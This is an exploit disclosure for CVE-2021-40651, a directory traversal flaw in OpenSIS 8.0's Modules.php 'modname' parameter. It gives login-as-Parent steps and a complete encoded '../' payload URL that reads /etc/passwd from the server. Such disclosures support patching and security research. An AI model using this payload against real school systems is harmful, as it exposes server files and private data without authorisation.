OpenSIS 8.0 'modname' - Directory Traversal

# Exploit Title: OpenSIS 8.0 'modname' - Directory/Path Traversal
# Date: 09-02-2021
# Exploit Author: Eric Salario
# Vendor Homepage: http://www.os4ed.com/
# Software Link: https://opensis.com/download
# Version: 8.0
# Tested on: Windows, Linux
# CVE: CVE-2021-40651

The 'modname' parameter in the 'Modules.php' is vulnerable to local file inclusion vulnerability. This vulnerability can be exploited to expose sensitive information from arbitrary files in the underlying system.

To exploit the vulnerability, someone must login as the "Parent" user, navigate to http://localhost/Modules.php?modname=miscellaneous%2fPortal.php. The 'modname' parameter and requests the Portal.php's contents. By going back a few directory using '..%2f' decoded as '../' it was possible to disclose arbitrary file from the server's filesystem as long as the application has access to the file.

1. Login as "Parent"

2. Open a web proxy such as BurpSuite and capture the requests

3. Navigate to http://localhost/Modules.php?modname=miscellaneous%2fPortal.php..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&failed_login=

4. Check the response

PoC: https://youtu.be/wFwlbXANRCo